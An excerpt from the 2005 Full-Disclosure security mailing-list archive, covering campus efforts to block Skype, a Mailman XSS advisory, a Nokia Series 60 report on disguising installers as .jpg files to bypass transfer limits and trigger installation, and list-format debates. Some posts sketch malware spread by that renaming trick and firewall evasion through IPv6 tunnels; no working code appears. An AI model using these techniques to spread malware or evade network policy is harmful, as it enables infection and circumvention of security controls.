electronically. It may not be edited in any way without the express
written consent of iDEFENSE. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically, please
email customerservice at idefense.com for permission.

Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.

There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.




From dk at pwarchitects.com  Tue Jan 25 01:16:59 2005
From: dk at pwarchitects.com (dk)
Date: Mon, 24 Jan 2005 19:16:59 -0600
Subject: [Full-Disclosure] 2 vulnerabilities combine to auto
	execute	received files in Nokia series 60 OS
In-Reply-To: <200501241943.j0OJh0rs021207@lists.netsys.com>
References: <200501241943.j0OJh0rs021207@lists.netsys.com>
Message-ID: <41F59E0B.1060402@pwarchitects.com>

Paul Kurczaba wrote:
> Wouldn't the phone try to open the jpg file as a picture, and not execute
> it. Just like on desktop PCs: if you rename a .exe (application/program) to
> a jpg (picture file), and try to open the file, your image program will open
> the file, thinking it is a image file. The application code will not be
> executed.

Just because one peculiar desktop OS for PC's (MS' variety) chooses this 
action does not indicate that others do; especially where embedded 
systems are concerned.
There are many ways it can be done.

-- 
dk




From alain at ait.ac.th  Tue Jan 25 03:05:23 2005
From: alain at ait.ac.th (Alain Fauconnet)
Date: Tue, 25 Jan 2005 10:05:23 +0700
Subject: [Full-Disclosure] blocking SkyPE?
In-Reply-To: <7cc4cba805012412495f4afb2d@mail.gmail.com>
References: <20050124085744.GC26105@ait.ac.th>
	<7cc4cba805012412495f4afb2d@mail.gmail.com>
Message-ID: <20050125030523.GC16639@ait.ac.th>

Hello list,

Thanks to all the tips and suggestions about my question on how to
block SkyPE traffic. I'll summarize and reply below:

* "Brenno J.S.A.A.F. de Winter" <brenno at dewinter.com>:

>You had the technical answer already. I just wanted add this: How
>certain are you that Skype is really something you want to block. Have
>you asserted there is a problem to solve? 

Well, not sure I have an usable answer yet (see replies below). Why do
I want to block it? Because it's part of our policies to prohibit
entertainment-related usage of the IT facilities on campus. We can't
afford the b/w (mind you, b/w is *expensive* in developing nations,
and especially here in Thailand due to a state monopoly on telecoms).
SkyPE is definitely used for such as of now, on computers we don't
control (dorms & housing especially).

>Is the solution really what you want? If you want to block John Doe that
>will be okay. If you have legions of techies walking around I'd rethink
>your approach. Using OpenVPN it is easy tunnel all protocols that one
>wants to use.

I would certainly not call our users a legion of techies (sometimes I wish
they'd be more techies than they are). Setting up a VPN would require
having control of a box outside of our campus, which is not likely for
the vast majority of them. Even if some can still get through,
blocking 80+% of the current SkyPE users is good enough for me.

* Bryan K. Watson <lists-security at nettracers.com>:

 
>Commercial, Off-The-Shelf: 
>
>1)Fortinet stops this and I have used it for such...for T1 speeds you can
>keep the cost under $1K and can be installed in bridge/transparent/inline
>mode so as not to disturb your existing infrastructure.  
>
>2)Checkpoint will do application/layer-7 inspection as well, but will cost
>quite a bit more to purchase and implement.

Thanks for the tip, I'll look into Fortinet if the big guys here are
willing to open their wallets to reach the goal. A whole bunch of
products do L7 inspection actually, but the real question is: can they
detect SkyPE specifically? If you look into Cisco's NBAR L7
detection, it can certainly detect a lot of P2P (e.g. Kazaa - we're
using it already), but to the best of my knowledge, not SkyPE at this
time. There have been rumours around a SkyPE NBAR module, but none is
available to the common mortal as of now.

>Roll-your-own: 
>  Probably will cost you more in time to do this,

That's OK, my time is cheap :-(
I've been already spending quite some time on this actually.

> but you can use Snort to
>detect and control an IPTables firewall...I have seen but not tried this
>updated implementation of a dynamic IPTables config tool based on Snort
>Rulesets:
>
> http://www.cipherdyne.com/
>
> http://www.cipherdyne.com/fwsnort/

Oh yeah, this and the dozen of sibling open-source project (e.g.
http://l7-filter.sourceforge.net/). Again, I'm afraid  the issue is
not the tool, the issue is the existence of patterns for L7 detection
of SkyPE. However, using lsad to detect traffic patterns that are
likely to relate to SkyPE (e.g. ICMP ping, then UDP to some high port
at the same address with a packet size within a given range) then
dynamically blacklist the target IP would be a track to explore. I'm
afraid that the risk of false positive is quite high, though.

* Graham Bignell <bignell at gmail.com>

>Why are you needing to restrict the protocol?  I've tried and found it
>was just easier to manage bandwith on a per-IP basis.  Ye olde QoS.

Hrm.. you mean source or target IP? Neither seems quite manageable at
first sight in our case. Of course giving a high QoS to identifiable
and (mostly) desirable traffic and a lower QoS to all the rest is the
usual way. How would you differentiate real HTTPS traffic from SkyPE
using port 443 though? (SkyPE can run completely over port 443 if
nothing else is available).

* James Tucker <jftucker at gmail.com>

>[1] How about an application level policy, whilst it isn't the 'block'
>that you are looking for it may be appropriate?

Can you elaborate please? Is that a "don't install SkyPE" policy? or
are you talking about L7 classification of traffic again?

>[2] SuperNodes of the network typically run on a single port, although
>IIRC they may change their bindings if necessary / by explicit
>request. If you are having problems blocking it with due to dynamic
>port bindings, then you may find it easier to maintain a ban list of
>supernode ip's. This is somewhat heavy handed and a brute force
>approach but it should work.

Been there, tried that. The shared.xml file in
C:\Documents and Settings\All users\Application Data\SkyPE
has a list of SNs (supernodes) this machine uses. So I've tried
having a test box feed its shared.xml file to a Linux-based gateway
that generates a dynamic set of iptables rules to blacklists all these
IPs. It only had marginal effectiveness, because there doesn't seem to
be a centralised list of SNs. Each clients gets a list from the first
SN it manages to connect to, but that list varies vastly from SN to
SN.

>[3] There was a suggestion at one time, (from Skype themselves IIRC)
>that blocking 80.160.91.5 & 80.160.91.13 will prevent the bootstrap
>nodes from authenticating properly with the client. I have not
>verified this, (...)

This is no longer true. I've also tried to build a list of SkyPE login
servers and blacklist them, but I'm now almost sure that clients can
authenticate through any SN (that basically tunnels the authentication
to a login server).

>[4] - The potentially expensive option; using a deep packet inspection
>firewall you could check for skype authentication and network control
>data, if found the connection could then be terminated and banned.
>There are few firewalls which are capable of doing this at speed.

See above on L7 detection. Not much to hook onto in an encrypted
protocol that has obviously been engineered to evade signature-based
detection. 

* "morning_wood" <se_cur_ity at hotmail.com>

> sorry.. i found a simple dump ( refered to in the main paper I sent )
>
>d.w
>[03:49:01.714 - 01.06.2004]
>Proto: UDP len: 46 195.182.78.24:10696 -> 4.65.228.218:42119 
(...)

I've made dozens of dumps as well, more or less matching your
observations.

>hi, i did some testing some months ago...
>my enclosed paper is unpublished and
>only based on some simple observation and testing.
>if you find it of some use please credit it in any
>presentation/research release.

Thanks a lot for the paper.

>Donnie Werner
>June 1, 2004
>http://zone-h.org

>http://80.160.91.13/index.php/peerenabler/developers/
>http://80.160.91.13/index.php/peerenabler/developers/documentation


>Skype claims some "magical" things..


>based on evidence we can dedude what skype is doing.
>
>upon inspection skype operates as follows...

(edited out for brievety)

I have been unable to confirm that there's an identifiable set of
central servers SkyPE needs to communicate to. This may have been true
months ago (I think it was) but in its current incarnation, the
product seems to happily live with only connectivity to supernodes,
which may be a too fast moving target for practical blacklisting.

At this time, it seems to me that the only track that is worth
exploring, pending the availability of usable L7 detection protocol
signatures for any open-source L7 traffic classification engine, and
putting aside Fortinet which I have to look into, is the detection of
"stateful traffic *patterns*" (as mentioned above) and dynamic
blocking of targets. This doesn't look sexy, though.

Thanks again for all the input,
Greets,
_Alain_



From b.anderson at ecu.edu.au  Tue Jan 25 03:49:55 2005
From: b.anderson at ecu.edu.au (Brian Anderson)
Date: Tue, 25 Jan 2005 11:49:55 +0800
Subject: [Full-Disclosure] Can we have...
Message-ID: <41F5C1E3.7060508@ecu.edu.au>

G'day,

I enjoy reading some of the messages in the Full Disclosure list however I opt 
to receive the list as a daily digest. This has the problem (for me) that I have 
to scroll thru the entire email message looking for the item(s) that I want to read.

Another list I subscribe to (Mailman-Users) has the following header...

Content-Type: multipart/mixed; boundary="===============1525231028=="

... which (when using Thunderbird) nicely provides a method to jump to just the 
item(s) that I want to read.

I have previously messaged the List-Owner regarding adding this however he 
suggested I ask the list so here I am.

Do you believe that this is "good idea" and should be implemented?

Thanks
BJA
-- 
=============================================================================
Brian Anderson       Email: b.anderson at ecu.edu.au |
Information Security          Phone: 08 6304 6848 | /"\ ASCII Ribbon Campaign
Edith Cowan University      Intl: +61 8 6304 6848 | \ / NO HTML/RTF in e-mail
Bradford Street, Mt Lawley   Mobile: 0407 474 093 |  X NO Word docs in e-mail
Western AUSTRALIA 6050          Fax: 08 6304 6599 | / \
===================== #include </std/disclaimer.h> ==========================


From shrdlu at deaddrop.org  Tue Jan 25 04:35:46 2005
From: shrdlu at deaddrop.org (Etaoin Shrdlu)
Date: Mon, 24 Jan 2005 20:35:46 -0800
Subject: [Full-Disclosure] Can we have...
In-Reply-To: <41F5C1E3.7060508@ecu.edu.au>
References: <41F5C1E3.7060508@ecu.edu.au>
Message-ID: <41F5CCA2.7070608@deaddrop.org>

Brian Anderson wrote:

> G'day,
>
> I enjoy reading some of the messages in the Full Disclosure list 
> however I opt to receive the list as a daily digest. This has the 
> problem (for me) that I have to scroll thru the entire email message 
> looking for the item(s) that I want to read.

[clip]

> I have previously messaged the List-Owner regarding adding this 
> however he suggested I ask the list so here I am.
>
> Do you believe that this is "good idea" and should be implemented?


It is not at all a good idea. I don't read the list in a digest, and 
can't see why I should Might I suggest either using a gmail account to 
subscribe, or channeling it in as a newsgroup (ala Usenet), which will 
allow you to have what you want, and not inconvenience the rest of us.

Anything not plaintext just doesn't belong on a security mailing list.

-- 
"Remember you told me to tell you when you were acting rudely and
insensitively? Remember that? You're doing it right now."
                 from Wargames



From security at linux-mandrake.com  Tue Jan 25 04:20:20 2005
From: security at linux-mandrake.com (Mandrake Linux Security Team)
Date: Mon, 24 Jan 2005 21:20:20 -0700
Subject: [Full-Disclosure] MDKSA-2005:015 - Updated mailman packages fix
	vulnerabilities
Message-ID: <E1CtIBg-0007tt-5m@updates.mandrakesoft.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

 _______________________________________________________________________

                 Mandrakelinux Security Update Advisory
 _______________________________________________________________________

 Package name:           mailman
 Advisory ID:            MDKSA-2005:015
 Date:                   January 24th, 2005

 Affected versions:	 10.0, 10.1, Corporate Server 2.1,
			 Corporate Server 3.0
 ______________________________________________________________________

 Problem Description:

 Florian Weimer discovered a vulnerability in Mailman, which can be 
 exploited by malicious people to conduct cross-site scripting attacks. 
 
 Input is not properly sanitised by "scripts/driver" when returning error 
 pages. This can be exploited to execute arbitrary HTML or script code in 
 a user's browser session in context of a vulnerable site by tricking a user 
 into visiting a malicious web site or follow a specially crafted link.
 (CAN-2004-1177).
 _______________________________________________________________________

 References:

  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1177
 ______________________________________________________________________

 Updated Packages:
  
 Mandrakelinux 10.0:
 ae373070860eb1c736fcf66fd2c55d96  10.0/RPMS/mailman-2.1.4-2.2.100mdk.i586.rpm
 fec2dfd480fc02b17ccff70dd99b4db7  10.0/SRPMS/mailman-2.1.4-2.2.100mdk.src.rpm

 Mandrakelinux 10.0/AMD64:
 e8b98f2b51d9f11b87bc0a0391d44099  amd64/10.0/RPMS/mailman-2.1.4-2.2.100mdk.amd64.rpm
 fec2dfd480fc02b17ccff70dd99b4db7  amd64/10.0/SRPMS/mailman-2.1.4-2.2.100mdk.src.rpm

 Mandrakelinux 10.1:
 8dd23a3f24902dfd6c79bf86607652fb  10.1/RPMS/mailman-2.1.5-7.2.101mdk.i586.rpm
 60d219904e0b21f46b6d2867d6f180bb  10.1/SRPMS/mailman-2.1.5-7.2.101mdk.src.rpm

 Mandrakelinux 10.1/X86_64:
 0f6eef6e7475e333a44b6dbead106f64  x86_64/10.1/RPMS/mailman-2.1.5-7.2.101mdk.x86_64.rpm
 60d219904e0b21f46b6d2867d6f180bb  x86_64/10.1/SRPMS/mailman-2.1.5-7.2.101mdk.src.rpm

 Corporate Server 2.1:
 6dcfa5a401a8e7fc76a539a62374e18f  corporate/2.1/RPMS/mailman-2.0.14-1.2.C21mdk.i586.rpm
 ceef33d5629e03e18760f8c001956664  corporate/2.1/SRPMS/mailman-2.0.14-1.2.C21mdk.src.rpm

 Corporate Server 2.1/x86_64:
 0205dc5fd874578803b487dd58baad5e  x86_64/corporate/2.1/RPMS/mailman-2.0.14-1.2.C21mdk.x86_64.rpm
 ceef33d5629e03e18760f8c001956664  x86_64/corporate/2.1/SRPMS/mailman-2.0.14-1.2.C21mdk.src.rpm

 Corporate Server 3.0:
 6ba4581b2060d821d0d95b780fc80f16  corporate/3.0/RPMS/mailman-2.1.4-2.2.C30mdk.i586.rpm
 cfaf275a70905bede0d23767dbe1be25  corporate/3.0/SRPMS/mailman-2.1.4-2.2.C30mdk.src.rpm
 _______________________________________________________________________

 To upgrade automatically use MandrakeUpdate or urpmi.  The verification
 of md5 checksums and GPG signatures is performed automatically for you.

 All packages are signed by Mandrakesoft for security.  You can obtain
 the GPG public key of the Mandrakelinux Security Team by executing:

  gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98

 You can view other update advisories for Mandrakelinux at:

  http://www.mandrakesoft.com/security/advisories

 If you want to report vulnerabilities, please contact

  security_linux-mandrake.com

 Type Bits/KeyID     Date       User ID
 pub  1024D/22458A98 2000-07-10 Linux Mandrake Security Team
  <security linux-mandrake.com>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFB9ckDmqjQ0CJFipgRAqP7AKCO1g6F4Fc9UiQZbcdG1aqeKFtDugCdFJ6/
0OlciUbQ/cqfNc6ybBxaW1s=
=37sE
-----END PGP SIGNATURE-----


From Valdis.Kletnieks at vt.edu  Tue Jan 25 05:13:36 2005
From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu)
Date: Tue, 25 Jan 2005 00:13:36 -0500
Subject: [Full-Disclosure] blocking SkyPE? 
In-Reply-To: Your message of "Tue, 25 Jan 2005 10:05:23 +0700."
	<20050125030523.GC16639@ait.ac.th> 
References: <20050124085744.GC26105@ait.ac.th>
	<7cc4cba805012412495f4afb2d@mail.gmail.com>
	<20050125030523.GC16639@ait.ac.th>
Message-ID: <200501250513.j0P5Da4H031277@turing-police.cc.vt.edu>

On Tue, 25 Jan 2005 10:05:23 +0700, Alain Fauconnet said:

> I would certainly not call our users a legion of techies (sometimes I wish
> they'd be more techies than they are). Setting up a VPN would require
> having control of a box outside of our campus, which is not likely for
> the vast majority of them. Even if some can still get through,
> blocking 80+% of the current SkyPE users is good enough for me.

For those of you playing along at home, the actual requirement to set up a VPN
is merely that they know somebody who has control of a box outside the campus
(or even know where to find a tunnel broker).  And Alain is probably quite
correct that even that lower standard will stop 80% and be sufficient for his
needs.

But you need to remember the difference, in case you need *better* than 80%,
and your users are either more clued or they know more clued people.....

How to give the firewall admin indigestion:  Do your dirty work via IPv6, and
use a V6-over-V4 tunnel broker to get out to your remote site... :)
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 226 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050125/a9e2b8ff/attachment.bin 

From Valdis.Kletnieks at vt.edu  Tue Jan 25 05:21:57 2005
From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu)
Date: Tue, 25 Jan 2005 00:21:57 -0500
Subject: [Full-Disclosure] Can we have... 
In-Reply-To: Your message of "Tue, 25 Jan 2005 11:49:55 +0800."
	<41F5C1E3.7060508@ecu.edu.au> 
References: <41F5C1E3.7060508@ecu.edu.au>
Message-ID: <200501250521.j0P5LvUS009521@turing-police.cc.vt.edu>

On Tue, 25 Jan 2005 11:49:55 +0800, Brian Anderson said:

> I enjoy reading some of the messages in the Full Disclosure list however I opt 
> to receive the list as a daily digest. This has the problem (for me) that I have 
> to scroll thru the entire email message looking for the item(s) that I want to read.

Some mailing list software (such as LSoft's Listserv) allow the user to decide whether
to receive each item in a separate mail, or in a standard flat-ascii digest,
or a mime/multipart format digest.

I have no clue as to whether Mailman supports it, however - merely that it's
not a totally outrageous request, and it's at least theoretically doable...

(Incidentally, getting a digest as a mime/multipart is a *BIG* win if your
mail software deals well with it, especially if (for example) somebody attaches
a .tar.gz or .zip of data to the mail - if your MUA does multipart well, it's
just as easy as handling any other .tar.gz attached to a mail.  If it shows up
as a flat-ascii, you're going to have some hand-editing to recover that
attachment....)
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 226 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050125/a2bb03a2/attachment.bin 

From alain at ait.ac.th  Tue Jan 25 06:03:17 2005
From: alain at ait.ac.th (Alain Fauconnet)
Date: Tue, 25 Jan 2005 13:03:17 +0700
Subject: [Full-Disclosure] blocking SkyPE?
In-Reply-To: <009a01c50295$764dccc0$6500a8c0@p43400>
References: <20050125030523.GC16639@ait.ac.th>
	<009a01c50295$764dccc0$6500a8c0@p43400>
Message-ID: <20050125060317.GC20476@ait.ac.th>

On Tue, Jan 25, 2005 at 03:22:20PM +1100, Gregh wrote:
> 
> ----- Original Message ----- 
> From: "Alain Fauconnet" <alain at ait.ac.th>
> To: <full-disclosure at lists.netsys.com>
> Sent: Tuesday, January 25, 2005 2:05 PM
> Subject: Re: [Full-Disclosure] blocking SkyPE?
> 
> 
> > Hello list,
> > 
> > Thanks to all the tips and suggestions about my question on how to
> > block SkyPE traffic. I'll summarize and reply below:
> > 
> 
> ...just a quick suggestion that may already have been said as I don't know much about Skype myself:
> 
> 1) It works on VOIP phones and web cams.
>

Web cams? not that I know. Looks like pure telephony to me.
 
> 2) The sound is apparently like talking to someone in the room with you though they may well be the other side of the planet.

If you have a lot of b/w, yes. My experience using a regular dial-up
hasn't been too good. Speak Freely manages limited b/w way better.

> 
> So given those facts, surely it is using transfer similar to audio
streaming when a phone only and video streaming when not. Why not
download the prog, use it and sniff packets at the same time to see
what goes on. I did plug it in to see what it did to my firewall and
it correctly identified it as Skype.exe attempting to get out on a
hell of a lot of ports all at once. Looks like it is a torrent rather
than streaming normally to be honest.

Well, it's P2P, obviously. Not sure what you mean here, and whether
this is relevant to my question of blocking it.
Your host firewall has identified it because it knows the .EXE file
the connection originates from... nothing to do with protocol
recognition.

> 
> In short, the places it attempts to contact would all appear to be
>hardcoded

No they aren't.

> or in Windows case, likely stored in the registry.

Neither (although it was the case in some older version). It's an XML
file (see my previous posting). But this file is quite dynamic. It
gets updated all the time as long as information is received from the
supernodes.

> I have not had time to check anything as yet to be honest, more than I have said
>above.
>Hope this, in some way, helps.

Honestly, no, it doesn't :-) But thanks for the reply anyway!

Greets,
_Alain_


From nick at virus-l.demon.co.uk  Tue Jan 25 06:12:16 2005
From: nick at virus-l.demon.co.uk (Nick FitzGerald)
Date: Tue, 25 Jan 2005 19:12:16 +1300
Subject: [Full-Disclosure] Can we have...
In-Reply-To: <200501250521.j0P5LvUS009521@turing-police.cc.vt.edu>
References: "Your message of Tue, 25 Jan 2005 11:49:55 +0800."
	<41F5C1E3.7060508@ecu.edu.au>
Message-ID: <41F69A10.29342.46B4C421@localhost>

Valdis Kletnieks to Brian Anderson:

> > I enjoy reading some of the messages in the Full Disclosure list however I opt 
> > to receive the list as a daily digest. This has the problem (for me) that I have 
> > to scroll thru the entire email message looking for the item(s) that I want to read.
> 
> Some mailing list software (such as LSoft's Listserv) allow the user to decide whether
> to receive each item in a separate mail, or in a standard flat-ascii digest,
> or a mime/multipart format digest.

As defined in section 5.1.5 of RFC 2046...

   ftp://ftp.rfc-editor.org/in-notes/rfc2046.txt

> I have no clue as to whether Mailman supports it, however - merely that it's
> not a totally outrageous request, and it's at least theoretically doable...

Mailman apparently supports it:

   http://www.gnu.org/software/mailman/mailman-admin/node19.html

   Mailman supports two standard digest formats, and if digests are
   enabled, users can select which of the two formats they receive. One
   is MIME digests, where each message is an attachment inside a
   multipart/digest. This format also contains a summary table of
   contents, and of course the an optional header and footer, and it
   retains most of the headers of the original messages.

   The second type is called ``plaintext'' digests because they are
   readable in mail readers that don't support MIME. Actually, they
   adhere to the RFC 1153 digest standard. The retain some, but not all
   of the original messages, but can also include a summary and headers
   and footers. 

> (Incidentally, getting a digest as a mime/multipart is a *BIG* win if your
> mail software deals well with it, especially if (for example) somebody attaches
> a .tar.gz or .zip of data to the mail - if your MUA does multipart well, it's
> just as easy as handling any other .tar.gz attached to a mail.  If it shows up
> as a flat-ascii, you're going to have some hand-editing to recover that
> attachment....)

Indeed, though I don't use the digested form of the list, so am not 
sure my "vote" should count.

That said, the current Mailman dox seem to say that enabling digest 
mode should give the _subscriber_ the option of which digesting method 
they get.  Perhaps the list admins need to update their version of 
Mailman, as I seem to recall that earlier versions supported only the 
non-MIME digest format...


Regards,

Nick FitzGerald



From dan at losangelescomputerhelp.com  Tue Jan 25 07:18:50 2005
From: dan at losangelescomputerhelp.com (Daniel H. Renner)
Date: Mon, 24 Jan 2005 23:18:50 -0800
Subject: [Full-Disclosure] Re:  Terminal Server vulnerabilities
In-Reply-To: <200501250614.j0P6EA9Z010331@lists.netsys.com>
References: <200501250614.j0P6EA9Z010331@lists.netsys.com>
Message-ID: <1106637530.1948.304.camel@meposs>

Original message:
> Date: Mon, 24 Jan 2005 15:52:55 -0800
> From: "Daniel Sichel" <daniels at Ponderosatel.com>
> Subject: [Full-Disclosure] Terminal Server vulnerabilities
> To: <full-disclosure at lists.netsys.com>
> Message-ID:
> 	<190DFDD2F99A65469B4B15D3658C0D2BC5A495 at ptc6.ponderosatel.com>
> Content-Type: text/plain;	charset="us-ascii"
> 
> I am currently locked in a death struggle with Microsoft's server
> product group. They have dropped support for the IAS (RADIUS) mmc in
> server 2003 and the 2000 version won't work under XP SP2. Their solution
> is to user terminal server to control the server remotely to manage
> RADIUS. Naturally  I don't like this answer because of horror stories I
> have heard about Terminal server. They claim there are no unfixed
> vulnerabilities to Terminal Server on Windows Server 2000 Service Pack
> 4. 
> 
> I find that hard to believe and I know you guys will know if they are
> full of it, or they are correct. Please let me know ASAP of any CURRENT
> vulnerabilities int Terminal Server.
> 
> Dan Sichel
> Network Engineer
> Ponderosa Telephone
> daniels at ponderosatel.com (559) 868-6367
>  
> P.S. the MMC is worse, it requires that port 139 or 445 be opened, but
> that is not the point, I suspect they are feeding me a line and I want
> to prove it. Thanks.
> 

Dan,

Try here for starters:
http://www.google.com/search?q=%22windows+terminal+server%22+exploit&sourceid=mozilla&start=0&start=0&ie=utf-8&oe=utf-8
(2,310 results)

Then pick one and try it out...
-- 

Cheers,

Dan
Los Angeles Computerhelp
http://losangelescomputerhelp.com
818.352.8700





From lists-security at nettracers.com  Tue Jan 25 08:04:45 2005
From: lists-security at nettracers.com (lists-security at nettracers.com)
Date: Tue, 25 Jan 2005 00:04:45 -0800
Subject: [Full-Disclosure] blocking SkyPE?
In-Reply-To: <20050125030523.GC16639@ait.ac.th>
Message-ID: <20050125080505.9D8A625C013@mail.nettracers.com>

Full-Disclosure aspect: knowing the capabilities and limitations of the
various firewalls employed.  How policies can be violated without detection.
Vendors and open-source community need to push to solve these real world
problems.

>...but the real question is: can they detect SkyPE specifically? 

This is from a Fortigate with factory release NIDS, AV and IPS databases -
nothing custom - (someone with a checkpoint and others may pipe in here with
their capabilities):

On Status page:
Recent Intrusion Detections
Time 	Src/Dst 	Service 	Attack Name
2005-01-24 22:35:16	10.0.0.12 206.14.209.40  http	skype

Skype In Alert Log:
2005-01-24 22:35:16 log_id=1421051110 type=ips subtype=signature pri=alert
vd=root attack_id=109051909 src=10.0.0.12 dst=206.14.209.40 src_port=3743
dst_port=80 src_int=port1 dst_int=port2 status=detected proto=6 service=http
msg="p2p: skype,[Reference: http://www.fortinet.com/ids/ID109051909]"


I am not blocking skype traffic or the kazaa traffic that is detected, but
use this info to quantify the use of the network and to throttle bandwidth
if needed to maintain QOS for business-critical functions.  Once you muck
with the priority of skype traffic, its utility as a usable telephone
disappears.  I think that Virgin Mobile has a cool invention called the
cellular phone that most corporate skype users will find has better quality
anyway.  

BTW, I found this statement on the skype firewall info page to be laughable,
and since I like to laugh, I read it twice:

"Ideally, outgoing TCP connections to all ports (1..65535) should be opened.
This option results in Skype working most reliably. This is only necessary
for your Skype to be able to connect to the Skype network and will not make
your network any less secure."   

...sure no egress limiting makes for a real secure network.  I'll remember
that 2bits worth of advice for my next consulting gig.   I just had to argue
this point with a user last week who quoted that exact line...he sounded
real convincing too, and said "TCP" as if he really understood what he was
talking about.  

Good Luck!

- Bryan K. Watson
- bwatson at nettracers.com

 



From allan.vanleeuwen at orangemail.nl  Tue Jan 25 08:33:32 2005
From: allan.vanleeuwen at orangemail.nl (Leeuwen, Allan van)
Date: Tue, 25 Jan 2005 09:33:32 +0100
Subject: [Full-Disclosure] 2 vulnerabilities combine to auto execute
	received files in Nokia series 60 OS
Message-ID: <88001FC5C453764CA6597FB29874249401151CC8@SVEX03.dutchtone.nl>

Hi Rohit,

Do you know if series 60 OS is the only affected OS ?

Allan

-----Original Message-----
From: full-disclosure-bounces at lists.netsys.com
[mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of
rohit at kritikalsolutions.com
Sent: Monday, January 24, 2005 6:01 AM
To: bugtraq at securityfocus.com; full-disclosure at lists.netsys.com
Subject: [Full-Disclosure] 2 vulnerabilities combine to auto execute
received files in Nokia series 60 OS


Hi,
 I forwarded this bug to Nokia security group, they believe it is a
feature and not a bug. Whats your opinion?
>>>
1. By default, executable files cannot be transferred (many mobile game
companies probably earn their bread because games are not transferrable
from one phone to the next). But if you rename the file (install file)
to any extension such as jpg or an unknown extension, it can be
transferred! So if i need to transfer a virus, all i need to do is
rename the file to some jpg extension and and transfer it!

2. When series 60 OS receives such a file, it executes it immediately.
For example, in case a MMS message comes with a picture or an installer
attachment, Nokia would immediately start running the attachment. This
is a major design flaw. Imagine a virus, renamed as a .jpg (mobile wall
paper) is downloaded by users on p2p networks or from a website or can
come from a friend. Virus installs  itself and than shows a jpg file, so
user does not suspect anything, while he is now infected. This is than
sent to everyone in the address book, who again just see the wall paper
after a prompt, while the virus has installed itself.

The first problem can be used to exchange mobile games and ring tones
for free. When you try to transfer the same without renaming, the OS
does not allow transferring them. Thanks Rohit Dube New Delhi.

Nokia response to both the problems follows:

Hi Rohit,

Sorry for the delay answering back to you.

About your findings, the first one with sending files after changing the
extension is a known limitation of the current implementation. We also
implement OMA DRM 2 which will work as expected in such situations.

The second one is also know feature, the file type is not determinated
from the extension but from the content of the file. So a sis package
renamed to an jpeg file still looks from the inside as a sis package and
so the user is prompted for installation.


Thank you again for your report.

tatu


> -----Original Message-----
> From: ext rohit at kritikalsolutions.com 
> [mailto:rohit at kritikalsolutions.com]
> Sent: Tuesday, January 18, 2005 04:17
> To: Mannisto Tatu (Nokia-TP-PST/Tampere); Ahlberg Janne
> (Nokia-M/Tampere)
> Subject: RE: series 60 os auto executes files
>
>
> Hi Tatu, Janne,
>  Any information on this vulnerability? Can you please confirm your 
> findings and send me an update on when should I/we disclose it? Thanks
> Rohit
>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


===========================================================

De informatie opgenomen in dit bericht kan vertrouwelijk zijn en is alleen bestemd voor de geadresseerde. Indien u dit bericht onterecht ontvangt, wordt u verzocht de inhoud niet te gebruiken en de afzender direct te informeren door het bericht te retourneren. Hoewel Orange maatregelen heeft genomen om virussen in deze email of attachments te voorkomen, dient u ook zelf na te gaan of virussen aanwezig zijn aangezien Orange niet aansprakelijk is voor computervirussen die veroorzaakt zijn door deze email.

The information contained in this message may be confidential and is intended to be only for the addressee. Should you receive this message unintentionally, please do not use the contents herein and notify the sender immediately by return e-mail. Although Orange has taken steps to ensure that this email and attachments are free from any virus, you do need to verify the possibility of their existence as Orange can take no responsibility for any computer virus which might be transferred by way of this email.

===========================================================



From k_preeth at rediffmail.com  Tue Jan 25 08:58:39 2005
From: k_preeth at rediffmail.com (preeth k)
Date: 25 Jan 2005 08:58:39 -0000
Subject: [Full-Disclosure] Mirroring procfs.
Message-ID: <20050125085839.2912.qmail@webmail31.rediffmail.com>


Sir,
 I work on Redhat Linux and we want to know if there is any method to mirror the '/proc' filesystem on one machine-A to another machine-B so as to monitor all the events occuring in A using machine-B.
Preeth.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050125/1a7628dc/attachment.html 

From rik.bobbaers at cc.kuleuven.ac.be  Tue Jan 25 09:13:59 2005
From: rik.bobbaers at cc.kuleuven.ac.be (Harry de Grote)
Date: Tue, 25 Jan 2005 10:13:59 +0100
Subject: [Full-Disclosure] Can we have...
In-Reply-To: <41F5CCA2.7070608@deaddrop.org>
References: <41F5C1E3.7060508@ecu.edu.au> <41F5CCA2.7070608@deaddrop.org>
Message-ID: <200501251013.59873.rik.bobbaers@cc.kuleuven.ac.be>

Op Tuesday 25 January 2005 05:35, Etaoin Shrdlu sgreifde:

> It is not at all a good idea. I don't read the list in a digest, and
> can't see why I should Might I suggest either using a gmail account to
> subscribe, or channeling it in as a newsgroup (ala Usenet), which will
> allow you to have what you want, and not inconvenience the rest of us.
>
> Anything not plaintext just doesn't belong on a security mailing list.

i second that (if it comes to voting)

i wouldn't want any binaries being posted in here. just clear text (not even 
html!!)

then again... that's just my 2 eurocents

-- 
harry
aka Rik Bobbaers

K.U.Leuven - LUDIT             -=- Tel: +32 485 52 71 50
Rik.Bobbaers at cc.kuleuven.ac.be -=- http://harry.ulyssis.org

"Only two things are infinite, the universe and human 
        stupidity, and I'm not sure about the former"
--A. Einstein


From nick at virus-l.demon.co.uk  Tue Jan 25 09:25:57 2005
From: nick at virus-l.demon.co.uk (Nick FitzGerald)
Date: Tue, 25 Jan 2005 22:25:57 +1300
Subject: [Full-Disclosure] Can we have...
In-Reply-To: <41F5CCA2.7070608@deaddrop.org>
References: <41F5C1E3.7060508@ecu.edu.au>
